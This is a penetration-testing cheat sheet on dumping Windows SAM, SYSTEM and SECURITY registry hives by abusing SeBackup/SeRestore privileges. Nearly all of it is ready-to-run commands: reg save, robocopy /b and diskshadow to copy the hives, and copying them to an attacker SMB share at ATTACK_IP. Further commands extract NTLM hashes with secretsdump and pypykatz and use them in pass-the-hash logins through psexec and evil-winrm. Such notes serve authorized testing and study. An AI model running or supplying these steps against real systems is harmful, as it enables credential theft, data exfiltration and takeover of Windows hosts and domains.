# Dump SAM and SYSTEM hives

## Privileges: SeBackup/SeRestore

#### 1: Backup SAM and SYSTEM hashes

```
cd /

mkdir temp

cd temp

req save hklm\system c:\temp\system

req save hklm\sam c:\temp\sam

download sam

download system
```

#### 2: Create SMB Server on attacking machine

```
mkdir share

impacket-smbserver -smb2support -username USER -password PASSWORD public share
```

#### 3: Copy backups to share folder

```
copy c:\users\user\sam.hive \\ATTACK_IP\public\

copy c:\users\user\system.hive \\ATTACK_IP\public\
```

#### 4: Retrieve hashes

```
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

## OR

```
pypykatz registry --sam sam system
```

#### 5: Pass-The-Hash Attack (PtH)

```
impacket-psexec -hashes HASH administrator@TARGET_IP
```

#### TIP: We can also use evil-winrm for PtH attacks.

```
evil-winrm -i TARGET_IP -u administrator -H 'NTLM_HASH'
```

## Alternate Method to transfer the Hives: reg.py remotely on Linux

```
python smbserver.py -smb2support share /tmp

reg.py "domain"/"backup_operator_username":"password"@"dc ip" save -keyName 'HKLM\SAM' -o '\\attacker ip\share'

reg.py "domain"/"backup_operator_username":"password"@"dc ip" save -keyName 'HKLM\SYSTEM' -o '\\attacker ip\share'

reg.py "domain"/"backup_operator_username":"password"@"dc ip" save -keyName 'HKLM\SECURITY' -o '\\attacker ip\share'
```

## Alternate Method: SeBackupPrivilegeUtils <https://github.com/giuliano108/SeBackupPrivilege>

### Usage:

```
Import-Module .\SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege

Get-SeBackupPrivilege
```

## Alternate Method: Robocopy

```
robocopy C:\Users\Administrator\Desktop C:\Users\Public root.txt /B

type C:\Users\Public\root.txt
```

## Alternate Method: diskshadow\.exe

### Create a script for diskshadow to execute

```
cd /

mkdir temp

cd temp

echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii

echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append

echo "create" | out-file ./diskshadow.txt -encoding ascii -append

echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append

dir

diskshadow.exe /s c:\temp\diskshadow.txt
```

### Copy the SAM/SYSTEM/SECURITY hives to our temp folder

```
robocopy /b Z:\Windows\System32\Config C:\temp SAM

robocopy /b Z:\Windows\System32\Config C:\temp SYSTEM

robocopy /b Z:\Windows\System32\Config C:\temp SECURITY
```

### Then download all of them to our machine

## Dump hashes

### 1) Pypykatz

```
pypykatz registry --sam sam system
```

### 2) impacket-secretsdump

```
impacket-secretsdump -sam sam -system system LOCAL
```
